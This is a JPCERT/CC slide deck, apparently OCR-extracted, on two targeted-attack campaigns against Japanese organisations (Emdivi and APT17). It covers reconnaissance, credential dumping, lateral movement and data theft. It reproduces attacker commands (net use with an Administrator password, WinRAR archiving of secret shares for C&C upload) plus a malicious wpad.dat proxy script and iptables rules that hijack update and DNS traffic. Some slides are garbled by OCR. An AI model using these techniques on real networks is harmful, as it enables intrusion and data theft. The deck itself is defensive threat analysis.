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Self-introduction

Shusel Tomonaga
Yuu Nakamura

B Analysis Center at JPCERT Coordination Center
B Malware analysis, Forensics investigation
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JPCERT Coordination Center

B Japan Computer Emergency Response Team
Coordination Center

Prevention Monitoring
* Vulnerability  Information gathering

Response

* Incident handling
information handling & analysis & sharing

 NW Traffic Monitoring

Early warning information
CSIRT establishment support
Industrial control system security
International collaboration

Artifact (e.g. Malware) analysis

JPCERT CC°
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Targeted Attacks handled by JPCERT/CC

From April to September 2015

130 Operation A

organizations

9 3 organizations

Operation B

4 organizations
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Introducing 2 Types of Attack Operations

Operation A

« Targeting many Japanese organizations since
around 2012.

 Emdivi
e CloudyOmega (Symantec)
« BLUE TERMITE (Kaspersky)

Operation B

e Targeting some Japanese organizations since
around 2013.

« APT17 (Firekye)

JPCERT CC°
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Characteristics of Operation A

4 : :
Attacker’s Infrastructure (Compromised Web sites)

Overseas

Targeted emails Widespread emails Watering hole
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Detalls of Internal Intrusion Techniques

Inittal Compromise
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Collecting Information

L ateral Movement
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Attack Patterns

Timeline of Attack Vector

2014/05 2014/09 2015/01 2015/05 2015/09

Disguised
Icon /IE

Medical expense,

Doculment Health insurance | 2014/11
File
(Exploit /l
vulnerabilities) CVE-2014-7247
| 2015/07
Drive-By 7=
Download CVE-2015-5119

CVE-2015-5122

* In many attacks, malware are disguised with fake icons, compressed with
zip or Izh and attached to emails.
» Attacks aiming certain targets may lead to correspondence of emails.

JPCERT CC°
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Detalls of Internal Intrusion Techniques

Collecting Information
| ateral Movement

/' JPCERT/CC®
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Investigation of Compromised Environment

Uses Legitimate tools provided by MS

Commands / Programs in OS standard accessories —_—

dir

net

e netview

* net localgroup administrators
ver

Ipconfig

systeminfo

wmic

Active Directory admin tools sent after the compromise

csvde
dsquery

Copyright©2015 JPCERT/CC All rights reserved.
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Example of Using dsquery

Used in some cases targeting specific individuals

¥>dsquery * —filter “(DisplayName=Yu*Nakamura)”
—-attr name displayName description

G displayName description |
yuunaka Yu Nakamura Chief Executive Officer
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Collecting Email Account Information

B Uses free tools (Similar to NirSoft Mail PassView)

B Attempts to receive emails from outside
May lead to new attack emails (correspondence of emails)
Infection spreading from organization to organization

| 1.tmp - AT ==
F7ILF) E\EE) SH(0) |FERNV) ~ILFT(H)
F::::::::::::::::::::::::::::::::::::::::::::::::: F
Mame : nakamura

beplication : MS Out look 2002/72003/72007 /2070

Emai | : nakamura@exame | e. com

Server T pop. examp | e, com

Server Port

Secured : Mo L
Twpe - POP3 7
|l=er : nakamura

Fassword : password

Frofile : Out ook

Fassword Strength @ Strong

SMTF Server : amte. exame |le. com

SMTF Server Fort

JPCERT CC°
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Collecting Classified / Personal Information

Search Network Drive
Search Targeted Data
Create a Copy of Compressed
Files

Delete Evidence

JPCERT CC°
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Search Network Drive (1)

net use command

> net use
New connections will be remembered.

Status Local Remote Network
OK T: ¥¥FILESVO1¥SECRET Microsoft Windows Network
OK U: ¥Y¥FILESV02¥SECRET Microsoft Windows Network

wmic command

> wmic logicaldisk get caption,providername,drivetype,volumename

Caption DriveType ProviderName  VolumeName
C. 3 OS

D: 3 Volume

T 4 ¥¥FILESVO1¥SECRET  Volume

U: 4 ¥¥FILESVO1¥SECRET  Volume

DriveType = 4

= Network Drive

Copyright©2015 JPCERT/CC All rights reserved. J PCER’I‘ CCJ‘E ;




Search Network Drive (2)

Combination of netstat Command & nbtstat Command

> netstat —an

TCP 192.168.xx.xx:49217 192.168.yy.yy:445 ESTABLISHED

> nbtstat -a 192.168.yy. :
Y Port 445 is set as the key

to search the access point
FILESVO1 <00> UNIQUE Registered Of file sharing service
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Search Targeted Data

dir command
> dir ¥¥FILESVO1¥SECRET

¥¥FILESV¥SECRET Directory

2014/07/11 09:16 [DIR] Management of Partner Companies
2014/09/04 11:49 [DIR] Management of Intellectual Property
2014/08/01 09:27 [DIR] Location information

Not only searches network drive but also compromised computers

> dir c:¥users¥hoge¥*.doc* /s /o-d — /s - Displayed recursively

c:¥users¥hoge¥AppData¥Local¥Temp Directory /o-d : Sorted by date

2014/07/29 10:19 28,672 20140820.doc
1 File 28,672 bytes

c:¥users¥hoge¥Important Information Directory

2015/08/29 10:03 1,214 Design Document.doc
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Compress, Download, Delete Evidence

Compressed with RAR

> winrar.exe a —r —ed —v300m —ta20140101 % TEMP%¥a.rar
“Y¥FILESVO1¥SECRET¥Management of Intellectual Property” -n*.ppt* -n*.doc* -
n*.xIs* -n*,jtd

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Committee
List(2015.05.01).docx OK

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Framework.ppt
OK

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Application
List.xIsx OK

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Design
Document.jtd OK

Documents are compressed per folder

RAR files are sent to C&C servers and deleted
20 ‘ Copyright©2015 JPCERT/CC All rights reserved. JPCER’I‘ CQ;E
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Detalls of Internal Intrusion Techniques

Lateral Movement

|

Copyright©2015 JPCERT/CC All rights reserved.
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Methods Used to Spread Infection

mm Patterns of spreading infection

 Exploiting vulnerabilities (MS14-068 +
MS14-058)

 |[nvestigating SYSVOL scripts

« Password list-based attack

e Exploiting Built-in Administrator
password

e Setting malware In file servers

* Exploiting WPAD

e Others

JPCERT CC°

22 Copyright©2015 JPCERT/CC All rights reserved.




Exploiting Vulnerabilities (MS14-068 + MS14-058)

1. Escalate privilege ( ) and
dump user’s password with mimikatz

2. Exploit vulnerability and
gain Domain Admin privileges

3. Upload mimikatz to DC and dump Domain
admin’s passwords Controller

6. Malware executes
accordlng to the task
[4. Copy malware to PC-B

[5 Register a task in order to execute malware ] PC B

23 Copyright©2015 JPCERT/CC All rights reserved. J PCERT CC P




Investigating SYSVOL Scripts
* In some cases, passwords are found in logon script,
etc.

Attacker’s Domain
Infrastructure Control

1. Download logon script,
compress and archive

3. Search admin’s {6. Malware executes

password according to the task
2 Download 4. Copy malware to
’ PC'B
o 5. Register a task in order
C2 Server PC-A

to execute malware

JPCERT CC°
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Password List-based Attack

» Attempts logon by using an approximately 10-30 line password
list and the user’s list of Domain Admins

» Uses atool called logon.exe (self-built?)

1. Get user’s list of Domain
Domain Admins Controller
l {2. Attempts Iogon]

with logon.exe [3- Copy malware ]

5. Execute

nig B

R .
PC-A PC-B
25 ‘ Copyright©2015 JPCERT/CC All rights reserved. JPCERT C C ®
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Exploiting Built-in Administrator Password

 An effective measure when there is no way to
exploit Domain environment

 Need to hash passwords or dump passwords

1. Escalate privilege (UAC bypass) } [5. Execute

and dump user’s password [4_ Register a task

[3. Copy malwa&l_] iq

PC-A {2. Pass the hash or net use J PC-B

net use ¥¥PC-B¥IPC$ [password] /u:Administrator

JPCERT CC°
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Setting Malware in File Servers

e Effective when there is no other measure

with malware disguised with
fake icons

__ File Server

PC-A

1. Replace the existing file J
X

2. Execute
malware in file
servers
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Exploiting WPAD

WPAD (Web Proxy Auto-Discovery)
— Turned on by default

— Get automatic configuration script from either
» URL specified by DHCP server, or
» http://wpad/wpad.dat

Local Area Network (LAN] Setting:

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

utomatically detect settings

|:| IIse automatic configuration script

Proxy server

1 Use a proxy server for your LAN {These settings will not apply to
dial-up or VPM connections).

.
_ - SR

Bypass proxy server for local addresses

oK ][ Cancel ]

JPCERT CC°
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Exploiting WPAD (Step 1: NetBIOS Spoofing)

o Effective In an environment where WPAD is not
configured

* NetBIOS Spoofing

| 1. Broadcast: Name query NB WPAD |

i FNa/me\query response ]

PC-A
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Exploiting WPAD (Step 2: Fake WPAD Server)

/Wpad.dat (automatic configuration script)\
function FindProxyForURL(url, host) {

if (mylpAddress() !=“[PC-A addr]”) {
return ‘PROXY wpad:8888;DIRECT,

}
return ‘DIRECT’;

} )/

/ 3. Request http://wpad/wpad.dat ]

ok ‘ I ‘
. [_4/R\esponse il
wpad.exe

PCA
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Exploiting WPAD (Step 3: Man in the Middle

Proxy)
Web site Attacker’s
Infrastructure

Attacker’s
Web Site

6. Drive-by download
attack

5. Embed iframe in attacker’s
Web site

.!i?wpad.exe

PC-A
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Summary: Methods of Spreading Infection

Method AD Pr|V|Iege Note
Escalation
Unnecessary / : . :
MS14-068 Necessary = Necessary for Risk exists when DC is

password dump unpatched

SYSVOL Search Necessary Unnecessary

Brute Force Attack Risk exists when the

(Password List Necessary Unnecessary password is weak

Attack)

Abusing Built-in Presumes that the
Unnecessary Necessary

Administrator password is the same

Risk exists when the
Unnecessary = Unnecessary file is disguised to one
that many users open

Exploiting File
Servers

Exploiting WPAD Unnecessary = Unnecessary | Situations are limited

JPCERT CC°
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DETAILS OF TOOLS AND
MALWARE

JPCERT CC°




Characteristics of Malware

Different types of malware reside depending on the
phase and scale of damage of the attack

Form of attack

Malware Overview
Emdivi (t17) HTTP BOT EXE
Intrude
Tools Password dump, etc. EXE, etc.
Download (low- DLL
uspl0jpg frequency ’
communication) data
N HTTP BOT (highly Lateral Movement
Emdivi (t19, sophisticated than EXE
BeginX Remote shell tool EXE
HTTP BOT (low-
GStatus frequency EXE,DLL Conceal?
communication)

Reference : [Ayaka Funakoshi. A study on malware characteristics and its effects observed in targeted attacks. MWS, 2015
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Tools

Password dump
Pass-the-hash

Overview
Quarks PwDump

Filename
gp.exe, qd.exe, QDump.exe, etc.

MimikatzLite

gp.exe

Windows credentials Editor

wce.exe, wWw.exe

Mimikatz

mz.exe, mimikatz.exe, mimikatz.rar
(sekurlsa.dll)

Vulnerability
exploitation

MS14-068
(CVE-2014-6324)

ms14-068.exe
ms14-068.tar.gz

MS14-058 (Privilege escalation)
(CVE-2014-4113)

4113.exe

UAC bypass

UAC bypass tool

msdart.exe, puac.exe, etc.

Packet transmit

Htran, proxy adaptive Htran

htproxy.exe, etc.

Mail account theft

Similar to NirSoft Mail PassView

CallMail.exe, outl.exe , etc.

Utility

Attempt logon based on list

logon.exe

WInRAR archiver

yrar.exe, rar,exe, etc.

Highly sophisticated dir command

dirasd.exe, etc.

Change timestamp

timestomp.exe

35 Copyright©2015 JPCERT/CC All rights reserved.




Emdivi (t17)

HTTP BOT with basic functions

B Repeatedly upgraded the version in the past year and

Implemented new commands
Command Date of Implementation

DOABORT
DOWNBG
GETFILE
LOADDLL
SETCMD
SUSPEND
UPLOAD
VERSION
GOTO May 2015
CLEARLOGS August 2015

JPCERT CC°
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Emdivi (t20)

Highly Sophisticated Emdivi

B The number of implemented commands have increased
and decreased in the past year.

— 18-41 (based on JPCERT/CC'’s study)

B In some cases, the targeted organization’s proxy server
address is hard-coded.

B May only run on specific computers (encryption of data
by computer SID)

JPCERT CC°

37 Copyright©2015 JPCERT/CC All rights reserved.



uspl0jpg

Download (low-frequency communication)

B Communication performed once a day
B Able to specify the day of week of communication

B Tend to be set to computers that are not infected with
Emdivi (secondary infection)

B DLL Preloading Attack

- | - h 4 A
Exploit specific DLL Read data
Search Order and and execute
load malicious DLL

. / ‘ J

dwmapi.dll, etc. *** DAT

JPCERT CC°

Application
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Difficulty to detect Uspl10jpg

Computer Easy to detect due to Attacker’s
Infected high-frequency Infrastructure
with Emdivi communication

N May be left undetected due to
uspl0/pg | jow-frequency communication
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BeginX

Remote Shell Tool

B BeginX Server

— Listens to specific ports and waits for commands
— Both UDP and TCP versions available

B BeginX Client

— Client which sends commands to BeginX Server

— Controlled via Emdivi

Copyright©2015 JPCERT/CC All rights reserved.

push
push
push
push
lesz
push
push
call
test
Js3
lea
mos
lea

ocffse
ocffse
il
1000h
eEX,
22X
(=T’
da:rx
223,
short
2O,
EaX,
ek,

t tolen ;7 fromlen
t to ;7 Lrom

;7 flags

s len
[ebpt+buf]

;-bBuE

E

[=F-%4
loc 401320
[ebptbuf]
offaet aBeginx ; "beginx”
[ebx+0]

JPCERT CC°




Image of Using BeginX

Segment Attacker’s
(unable to Infrastructure
connect to

Internet) { Unable to control by

Emdivi infection I I

BeginX BeginX

Server Client Emdivi
’ _er..
é;:.;i} Able to control via BeginXJ
Computer
Infected
with Emdivi
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GStatus

HTTP BOT different from Emdivi
B Not found in many organizations, but...

B Bot Function
— Get drive information
— Execute arbitrary shell command
— Process list
— Screen related functions

mow eax, [esp+3Cihtwvar Z8C]

push offset FileName ; lpFileMame

push EaX s Sweb/EStatus.aspiid=. ... ...
push 2 s int

push S0h s int

rush offget szServerMNams ; int

call mal http request and write file

JPCERT CC°
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GStatus Web Panel (Admin Screen)

el

eo & http://localhost/web/login/c O ~ & | = ~~*ServerList® | | r * {E}
it fEai% R EE5IE FoTIEIN EEHE plaunE 2
Iptftif i 2 RE/ D> BERSET /D (kB HISRE/TD>: (PR0E  |[HseefEE/TD>
BES ™0 0 192 168.0.204|ge === = 2015/03/25 14:56:10 (] wull w off #EMD>  |HHE/> |[HEE/A BB 51 WS
FIM 05 F192.168.0.203 || === = 2015,/03/25 14:55:16 m_ﬁm> FHE/b> [ HEE/ > (AR S WS
= = m 192 165. 0. 106 | ™§"s == 2015/03/25 14:48:45 || ™" 1 » FE/Mb> (RO [BSRE/ D REE EE MR
TS @b [@e/otues BE & M
G@ @ http://localhost/web/Detai 2 ~ € | @ localhost | o S MieE/ o BeRE/ BT W
FIEERsS fiEEE B R g BB PEEiEd || = e/ g s 2R FE
W ™ AT
thosfiim (I o, FypYo0R
REFE | |m rF - = | |UTtUUF N BAUFRE

B || B |
S ncks B || ] |
SEcess | PEReEE-40 |
g ([ W |[+3 |

Lpdate: |- " = mm :|EI[I ||fupdatex"InLlpdatEExe

it (2015408404 16:16: 53] $ErEET [
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ANALYSIS TOOLS
emdivi_string _decryptor.py

JPCERT CC°




emdivi_string_decryptor.py

emdivi_string_decryptor.py

e IDAPython
» Used to analyze Emdivi
* Decode encoded strings

Supported version

e {17, 19, 20

JPCERT CC°
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emdivi_string_decryptor.py

Emdivi encoded strings

00447430 00000059
00447AED 00000059
00447840 00000059
00447840 00000060
00447210 00000059
00447270 00000060
00447CED 00000060
00447050 00000060
0044700 00000059
00447E20 00000060
00447E90 00000059
D0447EFD 0000005
00447F50 00000059
00447FB0  D00000GD
00448020  000000GD
00448090  000000GD
00448100 00000059
00448160 00000060
00448100 00000060
00448240 00000059
00448240 00000060
00448310 00000060
00448380 00000059

WCog¥vHETBrw o FMAUEDS gf V063 SKanDSvSRDVovdLdbal GFVOKRAIve+ 5sHhWhBVU TG Pyvj/4ksU)/poH5A==

hOXeZiIwTEnZINEyAgcIMNel efFTy+IKreoP SmMx2 Qmg TUivRgWsjveed 556 TaxBk5u7 Cjc300GGaT3q+8iBIG 0 ==
Weluk/fonxYMZuY108gFD+ ZmBjGymE COIPXKdPaTZgFEH KW U cwabVimnlnZ=7 QytcMXb O LOhsEVUIR2tSyWo==
gsrykigymxremBgdMPsKyPrwpbwiawVIREDeRp3ZVhgyMIrkfff1tPDUYLalUGsEwsl nB QKIGIEYsrkaBGEr/ UimxTx TkP+ CEMNYELpFyg0=
WectZPYOnRL2IuzFOBoSClhnGrai5g THpnrQ N QoS fzd WA MOEKY jdNQEKm Gx2 low CHNLthJ An GUXhp5SUhKeg==

ViH2i5)/REBvWgMjKz/ o8 PbnLmMoblad mPzSuulvMA+F+ mkPSm+ YhGQwOIMMOIZEMICSZ +8LEn c J1 Xy Q1 Croled Y/ IMIf X psOieqniSPeM gw=
WC32Kf0s5gQLaR04 HvDeeGE OHD3IIFT Eq CC+xipb Qthid bvrlhvsEY GCxLSP CsXZ DEdy3q58 qiRTm5 a7 JsmAT YEIU oLl kojaYAG Ky 4 c7TIMI=
Ttjeg+UnRtYHgB w5 P/ ee3FFeh8NQDAIdIErEZ g XPIFC18 CLatBE BT 5 Frweeej 2 CRIXCc OB NgHQUEDFKjojJUT gKnFMFyqlblKodM=

kDO CaglEVefEkOszOvedl oEkEol0zRCOkvfiyhbolLIHGT CujdjAQsC+f/jgziMNvElIH4IhMLIVInfzVd ol G+ 20 ==

wSBkWSkzRgYLnRkhGf7xMN/1 o8epdWhk+ SdHt2 c Dpd kybp CMERwwb VA GXqgaUTUDig gywIKavxI PI3YFSl gl g ZjMNfKacc AU QB S0 az8Rrri3 U=
HDBubkfU/axDGk+ kzCskCBhO5zb43BTTHEEhwHCEsIXEuCxm QdrewlwnYTIdZUghsWa+ NopdvwFXNMkhh28labg==

ozlvkAT Y h/GZuffPgYEDmpadzZREK+ PYMrupxl8HEPZ7 bjSkg 70156 dDhYdhSE UzKb2sa2vUHc Old//zaT8jFA==

h/v8j5EtnBvelBs4 MgAbdhT nwizyS6 OADSKE0YEPADIb Tylsw/yg36in2 TTIBO2fvsfEVl pumbkVkglgioxBKQ==

SybrisjdlglkghkhG/rlzGaMO5)bIF nLgbR35EKTE4 g W3y TE o0 dAIZn3 dUIVVRIPYKS2T +ugDRXTmTnBKgd owSTKpvMphskKUPS 0Tz w=
SyHviRQgRgbVaMEGQzw ke T0+ylal/ih+ 503 TAgHgkULISCWQu Tl NFE1 2t qusdIRsDMP QLy @2y Y Xus VX AdIZYEMEnpgECihwevdg Y=
udrvU+Ujkg0BgBlLy TUpPDCKeDKE,/S2n0/13d0/ mo02I1QGFOReTUuQUEloiBBIRxzSaplpxBXbd2al ks¥135r7 orVHMNYFVIMndBbndv2bnE=
UPvzif¥snuzznxgdzfME ME4 fjgkny+ uWHgsWmjpg BMOHwpbdSAWmzMAshipHER924iYHd5 qPWEL pafpb+ FA==

Suzm TR iSwbWEBHIw QuiHZYSbsYto CITvXFeReebcbuPvdl7F2yTisul A8 PIORFW+ Y5/ QR 06/ LskrvF g ACoVExrvYIsU QX4 oPSgdjtrGs=
TPDIWS/BlhgLgowdHQw/ O4fPT oViulHESVOnurl2)ézHaUVz AXm Ty5 24 KWShuBE Qg7 IYWABMdxCrmaMN Y hRXFNOQVC CckSRZEmUHzT OM =
J5X88kQs0nhz3 1+ DCOckE3Q+VGubkd3 q7MZrsRT LiRvESgl EYel AlvalyHSugKwD0,/ WhejleYLE4HPPg9eaBw==

TSLwiCenlAEAURE yellrmywu (el ad8d Cvivd pyBUnCHOTADEL CiTWel WaOogeaEILjdw2 gl f50MA Veal O Q982K cZDGMA+Ip 7 LgbmGMD4 =
St3ulheH2FAD GjxDyg KT P47 UvESUSR+ evbUrKfjragD5sp3jQVMD/th3 coAiZET gl Lt62TxGjvGsIPLEG d CnVEQELS)zINEjanFWnMMs=
VTMrZCAL U+ 30kNBEMREFNbwAbcKsf2ZIPOBjm,/ZPIF Qrd2/B/GvFmQThbz TWjv2pd52i0HIEu3noSGkPELkdt Q==

L O O T T T T e T T T T O O O O T T T Y e Y T T O T

JPCERT CC°
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emdivi_string_decryptor.py

Difference depending on version string

XXTEA encrypt | XXTEA decrypt AES decrypt
XXTEA decrypt | XXTEA encrypt AES encrypt
Scanf(
MD5( "OpX",
MD5(base64(ver)) In?: Add( Inc_Add(
+ - " verl7 key
MD5(key _string) verls_key )
) )
)

Copyright©2015 JPCERT/CC All rights reserved.
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emdivi_string_decryptor.py

rdata:@842E0822 68 60 align 4

.rdata:@e42E024 AE 6C 38 2F 39 58 6E 4F+ alNl89xnoyhpceex db '"MN18/9¥nOyHPcEEXwIjRDGEg==",8

rdata:eed2E824 79 48 58 B3 45 45 58 77+ : DATA XREF: .text:eed27438To
.rdata:eed42E824 39 A 52 44 36 67 3D 3D+ text:eed2798410
rdata:@e42E830 B8 a8 a8 align 1@h

.rdata:@e42E848 59 71 33 4F 75 55 4B 30+ a¥qlouukStzvdpe db 'YqI0uUKStZvDPebwhceIFw==",8

rdata:eed2Ee48 74 SA To 44 56 38 62 77+ : DATA XREF: .text:eed42741CTo
.rdata:eed42E848 57 63 65 49 46 F7 3D 3D+ text:eed27978to
rdata:8842E855 o8 68 ae align 4

.rdata:8B42E85C 58 58 44 44 4F 56 55 Té+ aPxjdovupFndpee db 'PRIDOVUp/FnEPee+Cufidd==",8

.rdata:@e42E85C 2F 46 BE 38 58 b5 65 2B+ : DATA XREF: .text:eed427488To
.rdata:e842E85C 43 75 66 39 34 51 3D 3D+ text:eed2795CTo
rdata:@842E875 o8 60 a8 align 4

.rdata:8842E8758 F1 67 35 4B 72 72 48 T+ algSkrrhpjnuypl db 'ggSKrrHplNuyP+noer+RBuw==",8

.rdata:eed42E878 4A 4E 75 79 56 2B 6E BF+ : DATA XREF: .text:eed4273F4To
.rdata:e842E878 65 72 2B 52 42 F7 3D 3D+ text:eed2794810
rdata:ee42E091 o8 o0 oo align 4

rdata:@ed42E894 47 37 41 63 6B 39 57 73+ ab7ack9ws8lrdds db 'G7AckIWsB1RA4GeWHIFKFA==",8

.rdata:ee42E894 38 31 52 34 34 36 BS 57+ ; DATA XREF: .text:eed273E1to
rdata:8842E894 48 6C 66 4B 46 41 3D 3D+ text:eed2793510
rdata:ee42E040 o8 60 o8 align 1eh

.rdata:@842EBEE 52 74 39 57 JA AF 53 B2+ aRt9wzosbokZatg db 'Rt9WzO0SboK+zatgWPYHDfg==",8

.rdata:@@42EBEE@ B6F 4B 2B 7A B1 74 67 57+ ; DATA XREF: .text:eed4273D1To
.rdata:8842E8E8 58 59 48 44 66 67 3D 3D+ text:eed2792510
rdata:eed2E0CS 68 o0 a8 align 4

rdata:@ed42EBCC 52 66 BF 57 68 48 44 55+ aRfowhhjugbokrj db 'RFfoWhHIUGEOKrIWajrlSEQ==",8

.rdata:@ed2E8CC 47 36 4F 4B 72 4A 57 Bl+ ; DATA XREF: sub_4853E4+121o
.rdata:B847F0ES 06 66 68 align 4

: ,3:1;: W Please enter a string
.rdata

_rdatal input werzion string of PocEqual t17.08.21flash 0720 55066606 6837 -
.rdata

.rdata [ (] 4 ] [ Cance

.rdata

rdata eedicled of o5 20 o1 bl o9 /o o9+F y UATA ARCr: SUD _JOo-Co+tallc
rdata:@842E125 o8 o8 e align 4

.rdata:@842E128 36 60 ab db '&',8 ; DATA XREF: sub_485563+111o
.rdata:8842E124 BO 08 align 4

rdataseedzEl2C 46 41 V9 BE 39 75 65 BB+ aFayn3uekkp8spj db 'FAyn2uekkP8splaNjQtbTXFblwieVw2a' ,8

rdata:@842E12C 6B 58 38 73 78 44 61 4E+
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emdivi_string_decryptor.py

.rdata:e8842E822
Jrdataeedzeezd
rdata:8842E6824
rdata:8842E6824
rdata:eedzcezd
Jrdataseedzeaesh
rdata:8e42E6848
rdata:8e42E648
rdata:eedzceds
Jrdataeedzcede
rdata:8842E6859
rdata:eed2EasC
rdata:eedzeasc
Jrdataseedzeasc
rdata:8ed2Eas5c
rdata: 884 2E687S
rdata:eedzcaie
JrdataeedzEaeie
rdata:8842E6878
rdata:8842E678
rdata:eedzcesl
Jrdatareedzeesd
rdata:8842E6894
rdata:8ad42E894
rdata:eedzcesd
rdata:eed42e84aD
rdata:ee42E0B8
.rdata:ea842E0bB8
rdata:eedzcebe
.rdata:8e42E0B8
rdata:eed2ealo
rdata:eedzealC
Jrdataseedzeacc
rdata:eed2EaCC
rdata 884 2EBES
rdata: 884 2EBES
rdata e84 2E8ES
.rdata:8842EBES
rdata: 884 2EQES
rdata: 884 2EBES
rdata e84 2E8ES
rdata:@842E108]1 66 00 OO
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aa
4E
79
39
ae
eg
59
74
57
eg
ae
58
2F
43
ae
aa
71
44
B85
aa
ae
47
38
48
ae
ae
52
a6F
58
ae
2e
52
47
a4
2e
B6C
48
75
2e

aa
aC
43
B4

38
se
52

2F
B3

39
45
36

58
45
&7

6E
538
3D

4F+
77+
D+

aa
71
54
a3

ae
33
78
65

4F 75
58

4

55
38
77

4B
&2
3D

39+
77+
45 30+
2 e]
58
4B
75

ga
44
6E
GG

4F
5@
34

56
65
51

55
B85
3D

78+
2B+
S0+

38
39

aa
a7
4E
72

aa
35
73
2B

46
79
52

72
5@
42

7z
2B
7

43
6E
3D

Ta+
GF+
23D+

aa
37
31
aC

aa
41
52
B&

63
34
4B

GB
34
46

39
38
41

57
B85
3D

T3+
57+
D+

e
74
4(
59

2e
39
2B
48

57
Th

TA
61
ala7

4F
74
67

53
a7
3D

62+
57+
3D+

aa
BE
36
72
aa
79
79
a4

oo
BF
4F
&C
oo
79
39
a5

57
4B
53

68
72
45

48
44
51

a4
57
3D

55+
61+
3D+

56
62
63

73
43
BE

47
7a
7

a9
34
3D

BE+
32+
3D+

all89xnoyvhpceex

a¥gIouukStzvdpd

aPxjdovupFn8pee

algSkrrhpinuyph

aG7ackSwselrddo

aRt9wzoshokiatg

aRfowhhjugiokrj

alLyyvsginhy9bhp

align 4

db "N18/9XnOyHPcEEXwOjRDEE==",0
; DATA XREF: .text:@gd427438t0
soateut@RAzTIRAT
3] "CWsesDle2"

align 1@h

db '¥q30uUKStZvDPBbwkceIFw==",8
: DATA XREF: .text:@e42741CTo
s otext.epaz7aralo
3| "wilbert-5C2282"

align 4

db 'PXIDOVUp/Fn8Pee+Cufodd==",8
; DATA XREF: .text:eed4274e8To
B ;epazraccto
;| CWsel_e3t

align 4

db 'gg5SKrrHpJNuyP+noer+RBw==",8
; DATA XREF: .text:ee4273F4to
R it pRa27948 T
| 'mip-xp-cht”

align 4

db 'G7AcCk9WsBlR44GeWHLTKFA==",8
; DATA XREF: .text:@e4273E1tTo
i taxteGa127035 0
;I"xp-spB-templatE"

align 1@h

db 'Rt9WzO0SbokK+zatgWPYHDfgz==",8
; DATA XREF: .text:@84273D1To
; —taxtopoazgozcts
; |"wilbert-SC1588"

align 4

db 'RfolWhHIUGEOKrIWajrlsSEQ==",8
; DATA XREF: syb aes3E4+12%0
;I"SetEerrMDdE“ I

align 4

db *lyyVsGinHy9bHpd2uDFhnw==",8
y DATA XREF: sub_4@
; sub_486F22+644T0
; sub_467843+5511o

s3e4+211c

H rlllﬂ-_d"-‘ (AT T I
i |"kerne132.d11"

align 4




DEMO
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Agenda

Introduction

Operation A

Operation B

JPCERT CC°
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Attack Techniques

\

Drive-by Download Attack

(Update Hijacking

Domain Name Hijacking

. J

JPCERT CC°




Attack Techniques

~

Drive-by Download Attack

(Update Hijacking

Domain Name Hijacking

. J
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Drive-by Download (Watering Hole) Attack

-
i Targeted
Organization

4 . Malware

Infection

(& J

54 ‘ Copyright©2015 JPCERT/CC All rights reserved.

’ 0. Deface Web site
1. Access to Web site

2 . Redirect

3. Download malware "

C )
Japanese
Web server

Attacker’s
Server




Access Control

Order deny,allow
#mgw

allow from

allow from
#mgw

allow from
#mgw

.htaccess

allow from
#

allow from
allow from
allow from
#

allow from
allow from

JPCERT CC°®
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O-day Exploits

CVE-2013-3893 (MS13-080)

* Detected around September 2013
 Vulnerability in Internet Explorer

CVE-2013-3918 (MS13-090)

e Detected around October 2013
 Vulnerability in Internet Explorer

CVE-2014-0324 (MS14-012)

e Detected around February 2014
 Vulnerability in Internet Explorer

Copyright©2015 JPCERT/CC All rights reserved.
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Attack Techniques

~

Drive-by Download Attack

(Update Hijacking

Domain Name Hijacking

. J

JPCERT CC°




Update Hijacking

Method used to alter updated information

g Targeted h
Organization

0. Alter updated information

1. Request to update

2 . Fake update Information
J

Fake Update
3. Request to download Server

5. Malware
9 Infection y

58 ‘ Copyright©2015 JPCERT/CC All rights reserved. ;'.r’:;: JP CERT (:(3i

4 . Download malware "




Another Update Hijacking Pattern

Method used without changing update server's file

Targeted Update

Organization ’ 0. Change iptables Server

<

/4

V4

1. Software Update

Fake Update
Server
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Another Update Hijacking Pattern

Method used without changing update server's file

TCP 80 is forwarded by iptables.

Iptables -t nat -A PREROUTING -i ethO -s aa.bb.cc.dd -p

tcp --dport 80 -] DNAT --to-destination ww.xx.yy.zz:53

Key Point

» Update server's file is unchanged
e Does not save iptables

» Targeted organization sees as if it is
communicating with legitimate update server

JPCERT CC°®
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Attack Techniques

~

Drive-by Download Attack

fUpdate Hijacking

Domain Name Hijacking

- J

JPCERT CC°




Domain Name Hijacking

0. Change registration information

.
Registrar Registry -
|_}DNS Server
Legitimate 1.DNS query  attacker’s
erver Targ_Eteq Infrastructure
4 DNS .Organlzatlon DNS

Server

SEIE 2 DNS query

3
Web
Server " .
4 \Web access

62 ‘ Copyright©2015 JPCERT/CC All rights reserved. J PCERT CC P
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DETAILS OF MALWARE
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Domain Name Hijacking

Routing of only specific DNS queries by using iptables

Iptables -t nat -A PREROUTING -p udp --dport 53 -m string
--from 30 --to 34 --hex-string "|03] " --algo bm -] DNAT --
to-destination aa.bb.cc.dd:54

Iptables -t nat -A PREROUTING -p udp --dport 53 -] DNAT -
-0 WW.XX.yY.zZ:53

Key Point

* Routing of only specific sub domains

* Other DNS queries are routed to the
legitimate DNS server
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Characteristics of Malware

@) Uses a different malware before and after
the intrusion

@ Some malware run in memory only

® Embedding target organization's internal
Information

@ Uses code signing certificate in some cases

JPCERT CC°®
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Characteristics of Malware

Concealing eIl Derusbi g PlugX

JPCERT CC°
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Malware (Intrusion)

BlackCoffee

HTTP bot with basic functions

Command List

command info command info

0x184004 Execute remote shell 0x184024 Move file
0x184008 Run remote shell command| | 0x184028 Process list
0x18400c Create file 0x18402c Terminate process
0x184010 Load file 0x184030 Sleep
0x184014  Get drive information 0x184034 Install command
0x184018 Create directory 0x184038 Set Sleep Time
0x18401c Search file 0x18403c Terminate
0x184020 Delete file

JPCERT CC°
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IP Address Acquisition Algorithm

Get C2 IP address from Web page

—L' t L“"T"‘"' ja

L enttnoso oo o PO Start; @MICROSOFT
_p' 'p-='-"|_ src="ht end: CORPORATION

Decode

JPCERT CC°
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Malware (Intrusion)

McRAT

Plug-in-based malware

Command list

command number Info
0 Send data to server
Set TickCount
Plug-in registration
Allocate Plug-in settings area
Set Plug-in settings area
Create/Execute plug-in
Terminate plug-in
Create configuration file

9 _
JPCERT CC°

O NOO O~ W

69 Copyright©2015 JPCERT/CC All rights reserved.




70

Malware Running in Memory Only

Copyright©2015 JPCERT/CC All rights reserved.

